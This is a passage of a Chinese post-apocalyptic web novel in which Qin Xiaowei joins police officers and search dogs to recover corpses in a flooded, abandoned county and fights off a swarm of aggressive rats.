临走前，他还要了她的联系方式：“我叫王焦，是焦土的焦，你老板要是去要房子了，邻居一场，千万叫上我啊！” 说完，他还不忘把没喝完的勾兑橙汁一口闷了，半点都没浪费…… 王焦离开后，秦小薇皱着眉在座椅上坐了一会，才起身离开。 那些难民原本就鱼龙混杂，刚来的时候，还有混黑的拿着枪争地盘，地下城费了不少力气，抓了不少人，才让他们安分下来。 后来因为出现了食物危机和流感，地下城自顾不暇，就没再派人管他们，后面情况变好了，也一直放任他们生活在地面上，只每天安排人护送物资车过去，只要他们不是跑到红浦区，当着警察的面行凶干坏事，基本上没人管他们。 市区有人吃人这事，说实话，秦小薇其实不太惊讶，因为车队沿途，也碰到过好几次这样的事。 不过，公寓要真像王焦说的那样，总店的开业时间估计要往后推了…… 回去后，秦小薇看到范槿吊着一只胳膊，和肖琳琳并排坐在健身房的角落里吃五香花生，她脸上都是伤，看上去十分凄惨。 因为只有一只胳膊能动，她剥花生米的速度比边上的肖琳琳慢很多。 秦小薇走了过去，看着她的模样直皱眉：“饭饭，你怎么搞成这样？” 范槿：“出外勤的时候没注意，碰到了一个小雪崩，被雪里面混着的冰块给砸伤了……” 秦小薇：“……看来你们队长让你背的顺口溜都白背了！” 范槿摆了摆手，不在意道：“受伤了更好，我还不用出外勤了……那活我是真干不下去了！再干下去，我怕我忍不住要和琳琳一样辞职去跑车队，刚好我妈是副队长，我一个闺蜜是队长，另一个闺蜜是老板，都能罩着我嘿嘿嘿！” 肖琳琳泼她冷水：“那你这一路就别想消停了，我估计从出发的第一天开始，阿姨就会给你安排相亲，上午一场下午一场，从出发到回来，每一天都排得满满的……我看军队里不少人，阿姨都很看好！每次聊到后面，都要问人家是不是单身……” 范槿瞬间萎了：“那算了！在巡逻队搞宣传也挺好的，我还是喜欢和相机打交道！” 第128章 第128章腊梅园（双更合一）…… 肖琳琳：“刚刚那男的是谁啊？找你什么事？” “之前公寓楼的邻居,找我聊房子的事，咱们公寓不是被难民们占了吗……”秦小薇简单答了几句，就转移了话题,“哎,饭饭,你们进度怎么样？还要多久，才能捞完尸体？” 范槿想了想,回答道：“应该快了？听他们说,市区至少要犁三遍，现在都已经两遍了,等市区搞完了，周边的乡镇村子也得跑一遍……不过这都不关我的事了，我现在是伤员,可以光明正大地躺平。” 她往椅子上一瘫,一副打算躺平的咸鱼模样。 但下一刻，她的手机就“滴”了起来，范槿打开手机看了看,哀嚎一声：“我不是在休病假吗？怎么还给我安排工作、派工单啊？” 秦小薇凑到她边上看了看工单的内容。 附近有个男的，说楼上的大妈偷窥他洗澡,大妈不承认,然后两人吵了起来，还动了手，邻居就报警了…… 可能是因为范槿离得最近,系统就自动把出警任务发给她了。 秦小薇：“是不是派错任务了？要不你打电话问问？” 肖琳琳的脑袋也凑了过来，她的关注点有点偏：“之前出警不是最少两人一组吗？这上面怎么只安排了你一个人？” “人都散到外面去了，地下城没多少人留守，这几天全是单人任务……”范槿单手操作手机,一连发了好几条消息出去。 她伤的是惯用的右手，但一点都不影响她打字的灵活性。 片刻之后，收到回复的范槿叹了口气：“人不够，只能让我这个伤员顶上，琳琳，你吃了我这么多花生，也该付报酬了……陪我跑一趟？” 肖琳琳放下手里的花生，无奈道：“我就知道，天下没有免费的午餐！” 范槿：“哎，别这么说嘛！要不是突发状况，这顿花生还是免费的……” 肖琳琳看向秦小薇：“薇薇，你要不要一起？” 秦小薇扫了眼范槿吊着的右胳膊，想了想，还是点点头。 那个工单，看着就一股瓜味，她还挺想去现场看看的…… 事发地点离健身房只有三百多米，步行几分钟就到了，她们到现场的时候，公租房的走廊里全是人，闹哄哄的。 三人挤进人群，秦小薇看到一个大妈坐在一个瘦弱男人的腰上，男人穿着一套单薄的睡衣，衣服被扯得乱七八糟，露出白花花的胸口，脸上和身上全是被挠出来的血印子。 大妈：“我让你胡说八道、坏我名声！自己出轨，还说我偷看你洗澡，就你那二两肉，就那么丁点大，有什么好看的……” 秦小薇：这么激烈的吗？ 范槿：“巡逻队，都停下来！” 她板起脸，看着竟然有几分威严，说话的时候，她和肖琳琳非常默契地伸手把大妈从瘦弱男人的身上薅了下来。 见大妈还要挣扎，肖琳琳冷喝一声：“老实点，想去监狱里蹲着吗？” 地下城执法很严，一旦进了监狱，就算刑期到了，也会因为公民信用分不够，只能留在南湖区和江安区。 他们虽然没去过南湖区和江安区，但只看同城APP上网友们的描述，也能想象到那两座地下城的环境有多么“可怕”。 天天住危房，天花板时不时就往下掉几个小石子，有些人在家里睡觉的时候，都得戴着头盔，免得被从天而降的碎石砸得满头包……光是听那些网友的描述，就觉得很可怕！ 虽然极端低温已经结束了，但肖琳琳这话还是挺有威慑力的，听她提到了监狱，大妈果然老实多了，不再扑腾。 范槿熟练地驱散人群：“都散了吧！回自己家去！没什么好看的……” 等人群散得七七八八，他们才把当事人带回他们屋里。 范槿身上的执法仪对着两人：“说说吧！怎么回事？” “她、她偷看我洗澡……”瘦弱男人的声音和蚊子哼哼似的，要不是屋里很安静，秦小薇还真听不清他在说什么，发现大妈在瞪他，他又窝窝囊囊地消音了。 他身上的衣服已经整理好了，但是脸上的抓痕还没处理，和吊着胳膊的范槿站在一起，看着竟然像是“同类”。 “你可别胡说！我又不是没男人？我偷看你洗澡干什么？”大妈说着又要动手。 “干什么！真想去监狱里待着？”秦小薇伸手按住了她。 她的力气很大，大妈被按在椅子上，完全站不起来。 见大妈被按住了，瘦弱男人的胆子这才大了些，开始描述事情的经过，但他说一句，大妈就骂一句，完全没法好好沟通。 折腾了许久，她们又走访了其他人，才弄清楚了事情的经过。 这男的是个小白脸，因为一直没工作，还没搬进地下城的时候，他就找了个富婆姐姐包养他，最近，富婆姐姐怀疑他偷吃，这才找了人帮忙盯着他，而大妈，自然就是富婆姐姐的委托对象…… 大妈干活的时候没注意“分寸”，这才让对方误以为她是偷窥别人洗澡的变态。 “萱萱，你怎么能怀疑我？我对你可是一心一意的……”小白脸抓着富婆姐姐的手放在自己的脸上，声音委委屈屈的，“我上次没回你消息，是因为要给你准备纪念日的礼物……” 配合他脸上的伤，看起来十分可怜。 …… 连着折腾了大半天，两人才帮范槿完成这个工单。 肖琳琳：“要不说人家能当小白脸呢？那撒娇的功力，我一个女的看了都直呼牛逼……” 秦小薇：“你们这工作也太费人了，感觉比我之前银行的工作还要累……” 之前在银行工作的时候，就算遇到了奇葩客户，也是一对一，而且，也不是所有的客户都很难缠。 但今天，问话人家支支吾吾，走访他们的邻居，邻居怕得罪人，也不配合，简直心累……果然，这个世界上就没什么工作是容易的！ 范槿：“比去外面捞尸体好！唉，也就这几天了，等其他人都回来了，我就回宣传科了……” 晚上的时候，又有人通过之前的业主群，联系上了秦小薇，和她打听，她什么时候去要回房子，话里话外的意思，和王焦差不多，她就敷衍过去了。 第二天一早，秦小薇刷同城APP的时候，发现宁市有些地势高的地方已经看不到多少积水了，就算雪依旧在融，但积水也会顺着各种缝隙流出城外，并不会蓄积在城内。 才过去不到一周，外面的世界似乎就快恢复成暴雪之前的模样了…… 她起床烤了几个土豆饼，撒上辣椒面和椒盐，准备配上煎蛋和牛奶当早餐。 正吃着饭，大门却被人敲响了，是陆昼。 秦小薇叼着一块土豆饼，去开了门：“你怎么过来了？” 陆昼：“很久没出地下城了，难得今天天气好，要不要出去逛逛？” 秦小薇：？？？ 看到她脸上的表情，陆昼继续解释道：“今天我负责带香肠出去执勤，你要不要带上朔月和我一起出去？它俩好几天没一起玩了。” 秦小薇想到香肠的工作内容，脸上的表情有些一言难尽：“……陆昼，你觉得我疯了吗？闲着没事和你出去找尸体？” “市区已经被翻过两遍了，今天主要是巡逻……”他低头看着她，压低声音，循循善诱道，“在地下城关了两年，你就不好奇，外面现在是什么样子吗？你之前住的公寓楼，现在什么情况……” 说实话，还是有点好奇的！ 秦小薇鬼使神差地点了点头：“等我回去打包一下早饭！” 她拿了个便当盒，折回屋里，把桌上的东西夹进便当盒里，又给朔月换了件背心，就牵着狗出发了。 上车后，秦小薇按下车窗，拿出打包盒继续吃早饭，香肠闻到了味道，一个劲地用嘴拱她，哈喇子流了她一胳膊。 秦小薇用胳膊肘推它：“小狗不能吃辣椒，去后面乖乖坐好！” 拉布拉多假装听不懂，继续用嘴拱她，哼哼唧唧地撒娇要吃的，和后座乖乖坐车的德牧完全是两个画风。 秦小薇无奈：“陆昼，你家狗饿几天了？馋成这样？” 陆昼：“出门之前，刚干完一盆狗饭，它今天活动量大，我还加量了……它就是馋。” 秦小薇：“……” 她被闹得没办法，最后从仓库里拿了一盒切好的苹果出来，给它和朔月一人喂了一块：“行了，别再往我身上流口水了！” 红浦区这边地势比较高，路上还是湿漉漉的，但是积水并不深，吉普车可以正常开。 十几分钟后，吉普车停了下来，秦小薇朝着车外看去，远方，是一条一望无际的“大河”，河岸和陆地的交界线，停着不少充气船和车。 穿着制服和防水服的巡逻队成员和警察下了车，拖着充气船，朝着“河”里走去，人来人往，十分热闹。 “今天这水位降得好快啊！这船还能飘起来吗？” “没问题的，你再往前走一段！” “老王，今天咱俩一组！你快过来！” “我去，这水真凉！” “这可是冰水，能不凉吗？” “……” 陆昼冲着秦小薇开口道：“你等我一下，我去领船！” 秦小薇点头：“好。” 可能是因为在化雪，今天外面只有8℃，但因为出了太阳，并不是太冷，阳光照在身上，让人觉得暖洋洋的。 她等了一会，却见陆昼空着手回来了。 秦小薇趴在窗户门口，眯着眼感受外面的阳光，这两年一直关在地下城，后车座的拉布拉多也把脑袋伸出了窗外，露出和她同款的享受表情。 秦小薇笑盈盈地看着他，开了个玩笑：“怎么空着手回来了？是不是人家看你和他们不是一个系统的，把你赶回来了？” 陆昼伸出手，在空中停顿了片刻，最后落在了拉布拉多的狗头上，狠狠揉了一把，惹得它“汪呜汪呜”直抗议。 陆昼：“香肠太能干了，他们给我们分了别的任务！” 说完，他就绕到另一边，上了车，调转车头，开始往回开。 秦小薇朝后视镜里看了一眼，发现后面还跟着几辆警车。 她继续开着窗吹风：“咱们去哪？” 陆昼：“去下面的腊梅县。” 秦小薇：“啊？这么远？” 陆昼：“不远，路上没涨水的话，一个小时就能到……” 秦小薇顿时有种上了贼船的感觉：“你也说是没涨水的情况……” 她还以为就在市区巡逻，她还能回家看看呢！ 陆昼似乎是猜到了她在想什么，主动开口道：“放心吧！你那房子肯定能拿回来，店也能继续开下去……” 秦小薇转头看他：“陆昼，你是我肚子里的蛔虫吗？” 陆昼笑了笑，没有说话。 二十分钟后，他们又遇到了一片“湖”，吉普车连带着后面的警车都停了下来，警车从后备箱里搬出折叠充气船，开始打气。 陆昼给了秦小薇一套防水服，让她套上，又从后备箱里拿出几个塑料箱子，用绳子把它们捆在一起。 等船充好气，众人便拖着船下水了。 陆昼让秦小薇和两条狗上了船，他自己拖着船，踩在水里，一步步朝“深水区”走去。 见他泡在冰水里，秦小薇忍不住问他：“陆昼，今天这活，是上面安排的，还是你主动揽的？” 陆昼没有回答她的问题：“到这里应该差不多了……坐好，我要上来了！” 充气船很大，坐七八个人完全不成问题，但陆昼上来的时候，船身还是剧烈晃动了几下，像是要翻船了…… 朔月倒是还好，经常和秦小薇一起坐船出海玩，已经习惯了。 但拉布拉多就不行了，要不是她一直拽着绳子，它就要跳下水了。 秦小薇：“香肠，你不是水猎犬吗？怎么碰到一点小事就吓得要弃船逃跑了？” 拉布拉多“汪”了一声，似乎是在反驳她。 陆昼递给她两支船桨：“会划船吗？要不咱们喊个口号？” 秦小薇白了他一眼：“瞧不起谁呢！” 除了他们 这艘船，其他的充气船都坐了三个人，不过他们船上有两只大狗，两只狗的体重加在一起，和一个成年人也差不多了。 因为地势不一，有些地方水位太低，船都触底了，他们只能划一段，然后扛着充气船和船上的物资走一段…… 秦小薇：“这活真是对身体和精神的双重考验，难怪我室友天天在群里说想回地下城……” 走在前面的陆昼忍不住摸了下鼻子，懊恼道：“要不你和朔月在这里等我们？返程的时候，再和我们一起回去？” 眼前是一眼望不到头的破碎水泥马路，连个路标都没有，看起来十分荒芜。 她摇了摇头：“算了，来都来了！还是和你们一起跑完这趟吧！” 路上他们还碰到了几具不知道从哪飘过来的尸体，其他几个警察都带了“装备”，见此，他们熟练地把尸体用裹尸袋装好，扔在露出水面的破碎水泥马路上。 这几天温度并不算高，再加上尸体一直泡在冰水里，腐烂得并不明显，秦小薇看到这些尸体后，并没有产生太多不适。 他们打开系统，熟练地在地图上打了标记，说是之后会有人过来把这些尸体运走火化…… 因为现场就秦小薇一个女生，纵然她的身高比队伍里好几个警察都高，他们也没让她动手。 原本不到四十分钟的路程，硬是让他们折腾了四个多小时，才到达目的地。 腊梅县地方不大，骑自行车，不到半个小时，就能把县城逛一圈。 腊梅县地如其名，暴雨之前，这里有一片很大的腊梅园，后面又有投资商在这边搞了个旅游景区，因为广告打得响，在Q省还挺有名的，节假日的时候，这边时常爆满。 市区到这里有直达的旅游大巴，五块钱一个人，刚好从Q大门口经过，秦小薇之前也和室友们一起来玩过。 和印象中到处人来人往，商业繁华地景象不同，此时这里十分破败。 地震过后的废墟无人处理，各家店铺的招牌早已褪色，有些店甚至连招牌都不全——招牌早已在地震中毁了。 秦小薇手上划船的动作不停，眼睛却一直在打量着周围的废墟。 秦小薇：“这地方，地震后应该就没住过人了吧？” 陆昼应了一声：“腊梅县太小了，常住人口原本就不多，离市区又远，运送物资不方便，还没下暴雨的时候，这里的人就迁走了……” 秦小薇：“那得好几年没住人了……这么偏的地方，也要巡逻？” 陆昼还没回答，另一条船上的警察就开口道：“上面下了命令，说是要把整个宁市都检查一遍，不能有死角……” 秦小薇：这描述……怎么听着像是在打扫卫生？ 不过换个角度想想，似乎也没错？ 清理藏在雪地里的尸体，防止传染病暴发，和打扫卫生也差不多了…… 可能是因为知道这趟是个轻松活，路上碰不到什么事，队伍里的人都比较放松，甚至还有心情聊天。 “这腊梅县地方不大，房子可真多，我看等水退了，可以过来搞点废弃建材，回去二次加工……不是很多人都想在地面上重新建房子吗？我看这里就可以利用起来！” “这里还是太远了，其他几个区都还没挖完呢！我估计要等市区都挖完了，才会考虑周边的县城……” “老张，我记得你老家就在这，你家是不是还在这里有个店面？” “早就卖了！之前我爸生病，为了凑手术费就把店面便宜卖了！” “那你们家也算幸运！要是留到现在，估计也不剩什么……” “谁说不是呢？” “……” 废墟上面还压着很多没化的积雪，他们也没有挖开积雪仔细检查。 众人先是检查了一遍水底有没有被冲过来的尸体，又让拉布拉多和德牧绕着县城坍塌的建筑“检查”了一遍，确定这边很“干净”之后，他们又转战腊梅园。 腊梅园很大，秦小薇还记得，上次过来的时候，这边除了腊梅还有很多别的植物，空气特别好。 但现在，售票处和大门全都塌了，甚至还把路给堵了，他们进都进不去…… 秦小薇：“你要翻过去吗？” 陆昼摇头：“太危险了，下面都是碎石和钢筋，还是在水里……换条路吧！” 他们每天出任务之前，队长都会和他们强调，出任务的时候最重要的就是保证自身的安全，因此其他几人也没有意见，都同意找其他的路。 船绕着腊梅园转了一圈，最后，他们在墙上找到了一个地震后后天形成的“洞口”，穿过洞口，进了腊梅园。 因为前几年的天灾，腊梅园里现在看不到一株还活着的植物，人工移植过来的高大树木，在地震之后，也纷纷倒地不起。 经过一处游客休息中心时，拉布拉多却忽然叫了起来。 “汪汪汪——” “来活了。”队伍里的人都来了精神。 这处游客休息中心很大，但建筑有一半都塌了，众人划着船，靠近游客休息中心的落地窗，打着手电筒，朝着屋里看去。 屋里的水很浑浊，不像外面那么清澈，水里还漂浮着很多乱七八糟的垃圾，光线昏暗，但秦小薇还是一眼就看到屋子最里面，那群依偎在一起的人影。 “1234……这屋里至少二十来人，这地方这么偏，怎么会有人跑到这里来？” “老张别数了，先干活！” “大门从里面堵住了，大家过来搭把手，看看能不能把堵门的东西给挪开……” “……” 这回，秦小薇没闲着，一直在边上帮忙。 折腾了好一会，他们最后还是没能把堵门的东西挪开，而是把落地窗给砸了个洞，从洞里进去。 船进不去，众人只能穿着防水服，爬进去把尸体拖出来装进裹尸袋里，然后再运出腊梅园。 秦小薇戴了手套，原本是想帮忙搬裹尸袋的，但陆昼拦住了她：“我来，你划船就行了！” 第129章 第129章鼠群（双更合一）…… “我去！”屋里忽然传来一阵惊呼。 秦小薇皱了皱眉,朝着游客休息中心看去。 陆昼也停下了手上的动作，朝着屋里喊了句：“出什么事了？” “MD，这里面还有一窝耗子！好多尸体都被啃了！”屋里的人大声回应道。 秦小薇和陆昼对视一眼,脸上的表情都变得严肃起来。 她之前就听陆昼说过,低温结束之后大概两个月,宁市就开始闹鼠灾，当时的幸存者已经弹尽粮绝了,连野草树皮都很难找到,看到了这些老鼠，他们眼睛都直了。 幸存者们并不觉得宁市是在闹鼠灾,而是把这些忽然出现的老鼠当成了储备粮。 有些人找不到燃料，甚至还会剥了皮就直接生吃…… 但有点常识的人都知道，老鼠很脏,身上携带了很多病毒和细菌。 这些老鼠自然也不例外,有些人熬过了长达两年的极度低温，最后却死在了这一口肉上…… 一道道黑影从游客休息中心蹿了出来，秦小薇低头看了眼,顿时皱起眉头，一群黑毛耗子正从游客中心往外游。 小的只有她半个巴掌大,大的比两三个月的小猫崽子还大。 秦小薇发誓,她从没见过这么大的老鼠！ 这些老鼠一点都不怕人，路过皮划艇的时候，甚至还试图咬两口。 她和陆昼赶紧拿起一旁的船桨驱赶老鼠…… “小秦,你动作轻点！我这船都要被你拍翻了！”一个警察冲着秦小薇喊道。 秦小薇一边驱赶老鼠，一边回道：“这些耗子胆子太大了，一点都不怕人，不把它们打疼了,它们不走……” 一番忙碌之后，耗子群才散了，秦小薇也松了口气，结果她一回头，就看到船上两只狗，嘴里都叼着大耗子，正冲着她摇尾巴！ 一副邀功要表扬的模样。 秦小薇：！！！ 秦小薇差点就发出尖锐爆鸣，她赶紧去掰朔月的嘴，激动道：“朔月，脏死了！快吐出来！” 另一条船上的警察还有些遗憾：“要不是这些老鼠咬了尸体，小月亮和香肠今天就能加餐了……” 虽然秦小薇最初领养德牧的目的是想让它帮忙看家，但德牧跟着她这么久，吃过最大的苦，也就是刚到家的时候，让它吃了几天警犬中心带回来的“劣质”狗粮。 平时吃的、用的，她都尽量给它最好的，还时不时就在同城APP上找人给它做新衣服，它喜欢的苹果抱枕破了，她补好了之后，又在网上专门找人做了几个一模一样的，让它换着玩…… 对待朔月，她现在完全就是富养女儿的心态。 现在看到它叼着只老鼠，秦小薇顿时有种自家娇养的宝贝女儿去垃圾桶里捡垃圾吃的崩溃。 陆昼不像她这么激动，但也让拉布拉多把老鼠吐了出来，还教育它不准乱吃东西。 处理了两只死老鼠后，众人继续干活。 看水里泡着的行李，这群人应该是降温之前来宁市的，但不知什么原因，他们没去市区找大部队汇合，和宁市官方的工作人员求助，而是一直待在这处偏僻的游客中心，最后被骤然降低的温度夺走了生命。 有些尸体因为老鼠的啃噬，已经变得面目全非了，不过宁市从几年前下暴雨的时候就一直在死人，警察们已经习惯了各种状态的尸体。 就算这些尸体的血肉都被啃得面目全非，他们也不会再像个愣头青一样吐得昏天黑地。 有些尸体的姿势很奇怪，他们费了些力气，才把他们弄出来装进裹尸袋里，然后分批把裹尸袋运去腊梅园外面没被淹没的高地上。 现在外面的尸体，大多都特别硬，且一直保持生前的动作，秦小薇之前就听范槿抱怨过，说是有些尸体的动作太奇怪，撑得裹尸袋拉链拉不起来，有几次，他们队伍里的人硬是把人家骨头给掰折了才把拉链拉起来…… 没想到，自己今天也体验了一把！ 秦小薇站在高地上，冲着队伍里的其他人开口道：“这离腊梅园不远，那群老鼠不会找过来吧？” 其中一个警察答道：“等都检查完了，我们再跑一趟，把袋子运到县城外面的高速路上去，等情况再好一些，直接开车过来拉吧！唉，这水位不高不低的，可真烦人！” 另一个警察附和道：“是啊！它要是高点，我们可以直接开大船，它要是再低一点，我们开车也能把尸体运走，现在这样……真是没法搞！” 秦小薇这一路也体会到了，水位不高不低有多麻烦。 中间有好几段路，他们都划不了船，只能人力扛着充气船和装备步行，这种情况，让他们11个人抬着24具尸体回市区……还是很有难度的。 之后，他们继续巡视腊梅园，腊梅园很大，它是依山而建的，附近好几座山都被圈在里面，秦小薇上次来的时候，和室友们在里面待了六七个小时，才把腊梅园逛完。 不过，他们今天不是来旅游的，速度比之前快了不少。 拉布拉多的嗅觉是真的很灵敏，只要有一点那种尸体腐败散发出的气味，它就能闻到，然后冲着众人发出警示。 就算水流掩盖了那种味道，稍微靠近一些，它也能闻出来……堪称狗形尸体探测器！ 时间很快就到了中午，众人找了个安全的地方停好船，开始吃中饭。 早上出门的时候有点匆忙，秦小薇没准备太多东西，她正准备从背包里拿一袋面包出来，就见陆昼打开一个塑料箱，从里面拿出一张红白相间的苹果餐垫，铺在两人中间，然后是一摞便当盒。 秦小薇：？？？ 她还没说话，边上另一个警察就开口了：“陆部长，你这是野餐来了？” 说完，还用暧昧的视线打量着两人，其他人也说着什么“小年轻就是会玩”“出来干活还不忘带女朋友约会”…… 秦小薇：“……”她今天出门，真的只是想回公寓楼看看。 虽然她很清楚自己今天出门的目的，但被大家这样调侃着，她竟然也有几分不自在。 她张了张嘴，正准备解释什么，陆昼却开口道：“家里阿姨做的，不是特意准备的。” 他的态度十分坦然，似乎餐垫上这些东西对他来说只是日常，并没有什么特别的。 听他提到“阿姨”，一个警察拍了下脑袋：“我忘了！陆部长你住富人区，听说家里还有好几栋别墅……” 陆昼转移话题道：“早上分开的时候，我看到雷霆了，它眼睛好像不太对劲，生病了吗？” “唉！还不是穷闹的，训导员说是长期营养不良，眼睛发生了病变……放以前，它们一天几十块的餐标，吃得比我还好，哪会发生这种事？” “它们现在吃得也比你好，你看它们那狗粮的配方里，至少还有肉，咱们自己吃的能量饼干和土豆大米，可就真是纯素的，我现在也就指着食堂一周一次的肉汤开荤……” “你还别说，香肠养得可比队里的警犬好多了，陆部长，香肠在你家待着，是不是也有阿姨专门给它做饭？” “……” 三言两语间，众人的注意力转移到了狗身上。 陆昼拆了份餐具递给秦小薇，示意她可以吃饭了。 秦小薇抽了两张酒精湿巾，摘了手套，把每根手指都仔仔细细擦了好几遍，才开始吃东西。 陆昼没准备带汤水的菜，大多是些可以一口一个的小点心，还有一盒洗好的蓝莓和草莓。 看着他们吃东西，两只狗也有点馋，朔月一直用爪子扒拉秦小薇的胳膊，香肠则一边冲着陆昼“汪汪”叫，一边对着陆昼的中饭流口水。 看它那架势，秦小薇真怕它下一秒直接把脑袋埋进陆昼的便当盒里来个暴风吸入…… 最后，那些点心和水果，两人也没吃到多少，大部分都被队伍里其他人和两只大馋狗吃掉了。 主要是，他们的视线实在是太灼热了，他俩不好意思吃独食…… 秦小薇从背包里拿出一袋面包分给他。 陆昼看了眼夹着果干的面包片挑眉：“新口味？” 周围还有其他人，秦小薇没解释太多，只含糊不清地应了一声。 吃完中饭，他们略微休息了一会，就继续干活，检查完腊梅园，警察们见时间还早，便提出再去附近的村子跑一趟，免得其他人还要再来一趟浪费时间。 秦小薇没什么异议，按照其他人指的方向安静划船。 “陆部长，你可真有力气！你们两个人划，速度一点也不比我们三个慢，这一路上竟然一点都没掉队……” 秦小薇有些不服气。 明明她也出了力气的，怎么把功劳全归到陆昼身上了？真要是比力气掰手腕，陆昼肯定赢不了她！ 陆昼像是背后长了眼睛似的，忽然回头看了秦小薇一眼，见她在瞪自己，他也没生气，他笑着开口道：“秦小薇之前是练举重的，她力气比我大！” “真的吗？看不出来啊！” 秦小薇：“我Q大体院毕业的……” “学体育也不错，女孩子就是要力气大、能跑能跳才安全，最好再学两招……” 众人聊着天，手上的动作不停，控制着充气船，朝着附近的村子划去…… 县城都没人了，附近村子里的人自然也早就迁走了，他们只转了一圈，就准备离开。 但还没出村子，豆大的雨点就砸了下来。 “怎么忽然下雨了？” 中午吃饭的时候还是大晴天，现在忽然下雨，众人都被打得措手不及。 周围都是积水，他们人在船上，身上穿着背带款的防水服，只能护住腰以下的部位，他们也没准备雨具，很快脑袋就被淋湿了。 有人提议道：“我记得之前村尾有栋房子还没塌，我们先折回去，等雨停了再回去！” 其他人没有意见 ，秦小薇更是用出全力，开始往村尾划，很快和其他人拉开了距离。 秦小薇的船是第一个赶到村尾的，这是一栋三层的自建房，院门被锁着，门上挂着的大铁锁比她的手还长。 秦小薇看着门上的大铁锁直挠头：“你说……我现在从背包里掏根钢锯条出来，会不会被怀疑？” 陆昼：“不用那么麻烦！” 说着，他就从船上的箱子里翻出一个金属环，掰直后捅进锁眼里，三两下就把门锁打开了。 秦小薇冲着他比了个大拇指：“厉害！” 陆昼：“进去吧！” 之后，他们又如法炮制，打开了一楼客厅的大门。 可能是因为屋子很久没住人了，里面的气味有些难闻，墙上是干涸的泥浆，散发出阵阵臭味，屋里的东西也泡在水里，散得到处都是。 看得出来，这房子暴雨过后，房主就没打扫过…… 秦小薇把充气船拴在门口，抱着朔月，直接下了船，踩着地上的积水，朝着二楼走去。 上楼之后，她还不忘提醒后面的人：“这里的地面特别滑，你们下水以后扶着点，别摔倒了……” 二楼也很脏，秦小薇找了个没那么脏的地方，放下狗，开始给它擦身上的毛。 最近升温，朔月掉毛掉得特别厉害，她只略微擦了下，毛巾上就沾了一层狗毛。 陆昼提醒她：“你自己也成落汤狗了，不处理一下？” 秦小薇下意识回了句嘴：“你也没比我好多少！” 陆昼：“嗯，咱俩半斤八两。” 其他人都上来了，秦小薇也不好从背包里拿出太多的毛巾，便把朔月用的毛巾拧干了，尽量弄掉上面的狗毛，胡乱擦着自己头发上的水。 秦小薇揉了下朔月的狗头：“朔月，我现在脑袋上是不是一头你的小狗味……” “汪——” 大家的衣领都湿了，担心会冻感冒，简单收拾了一下之后，他们就开始生火烤衣服。 屋里有床和桌椅，众人下楼找了把刀，把它们劈了，开始原地生火。 这些家具上面都包着油漆，还裹着一层干涸的泥浆，木头烧起来之后，烟特别大，味道也很难闻……秦小薇被熏得直往阳台跑。 她在阳台吹了会风，陆昼就端着一杯热水找了过来：“喝点？” “谢谢。”秦小薇接过杯子，她朝着屋里看了看，小声问他，“我看大家衣服都湿得很厉害，我有感冒药，要给大家分了吗？” 陆昼应了一声，朝着她伸出手：“我去分。” 秦小薇直接从口袋里掏出一盒感冒胶囊递给他。 陆昼拿到药之后，没急着离开，他问她：“你吃了吗？” 秦小薇白了他一眼：“你觉得呢？” 陆昼：“看来是已经吃了！” 这场雨持续了三个多小时，等到雨结束的时候，已经是傍晚了，天还没黑，但众人都不打算回去了——回去要好几个小时，他们现在回去，路上就得摸黑划船赶路。 考虑到路上会有危险，他们便打算在这栋旧房子里将就一晚。 因为队伍里只有秦小薇一个女孩子，众人便把三楼一间还算干净的屋子让给了她，附近其他房间都住着警察，屋里还有两只狗守着她，他们也不担心她一个人住会碰到什么危险。 这一晚过得还算顺利，第二天早上天刚亮，众人就准备返程了。 出门后，他们发现，外面的水位又降了一些，这意味着，可以划船的路段变少了，需要他们扛着行李和船步行的路段又变多了。 不过大家体力都不错，还是能坚持到回地下城的，倒也没露出太沮丧的情绪。 划了一段，队伍里有人忽然停了下来，指着远处开口道：“那边好像有什么东西游过来了？是鱼群吗？” 他的同伴拍了下他的背：“老周，你是不是还没睡醒？这水都是雪化的，又不是从河里流过来的，水里怎么会有鱼？” 老周不服气，忍不住开口道：“这么多水，都和河道连通了，怎么就没鱼？三队的老华，前天还碰到了一条翻肚皮的鲫鱼呢！” “你也知道是翻肚皮的鱼！这两年这么冷，河里连个水草都不长，就算水里有鱼，也都冻死了！” “……” 正在两人争论时，那群黑影朝着他们游了过来，看清那是什么东西后，秦小薇忍不住倒吸一口凉气，一瞬间身上的汗毛都炸了起来。 她死死抓着陆昼的胳膊：“这老鼠是变异了吗？怎么和鱼一样，一群群在水里游！” 陆昼拍了下她的手臂，安抚道：“别紧张，老鼠本来就会游泳！” 要是碰到了一只老鼠，她肯定不紧张，还会举起拖鞋追着它打，像昨天那样，碰到十几二十只老鼠，她也还能应付，但现在是一大群，目测至少上百只…… 不管什么东西，数量变多之后，都会变得恐怖。 和他们之前在腊梅园碰到的那些老鼠一样，这群老鼠也不怕人，竟然径直朝着他们游了过来，靠近之后，就开始啃咬他们乘坐的充气船。 纵然充气船用的材料非常结实，但也架不住这么多老鼠同时啃咬，很快，船就开始漏气，有人直接掉进了水里…… 那些老鼠见人掉下来了，就像是闻到了血腥味的鲨鱼，蜂拥着朝水里的人咬去…… 秦小薇刚开始还是用船桨驱赶它们，后面见船桨没用，她直接从背包里抽出射钉枪，对着水面不断扣动扳机，陆昼也拿出了随身携带的手枪，开始打老鼠…… 因为水面折射的问题，刚开始的时候，秦小薇的准头还有点不太行，但她调整了一下，很快，她的运动天赋就显现出来了，几乎是一枪一个…… 水面上，也很快漂浮起老鼠的尸体…… 其他人也是各种手段都用上了，警棍、船桨、小刀…… 就连两只狗也加入了战场，这回，秦小薇倒是没拦着它们——老鼠的数量太多了，她完全自顾不暇。 可能是意识到这批食物是“硬骨头”不好啃，在损失了一批同伴后，这些老鼠很快就离开了。 秦小薇松了口气，她冲着水里的人伸出手：“周哥，我拉你上来！” 周哥却摆了摆手：“先捞东西！” 队伍里一共十一个人，他们来的时候，带了四条充气船，但现在有两条，都被老鼠啃坏了，好在充气船体积很大，挤一挤，两条船也能塞得下。 陆昼：“大家都检查一下身上的伤口，我打个电话，让人来接我们……” “我没受伤！” “我脖子上被咬了一口，MD，现在的耗子是怎么回事？ 都不怕人吗？我记得小时候家里闹耗子，一开灯，它们就窜得没影了，怎么现在还直接往人身上扑呢？” “这回去是不是要打点什么疫苗？老周，你身上被咬了没？” “胶鞋被咬破了，但没受伤！” “……” 秦小薇把两只狗抓了过来，扒开它们身上的毛，仔仔细细检查了一遍，确定它们都没有受伤，这才松了一口气。 陆昼坐在船头，他并没有理会众人的说话声，他拿起手机，一连打了好几个电话出去。 秦小薇从包里拿出之前没用完的酒精湿巾，递给受伤的几人：“周哥、王叔，你们先用这个给伤口消下毒，别感染了……” 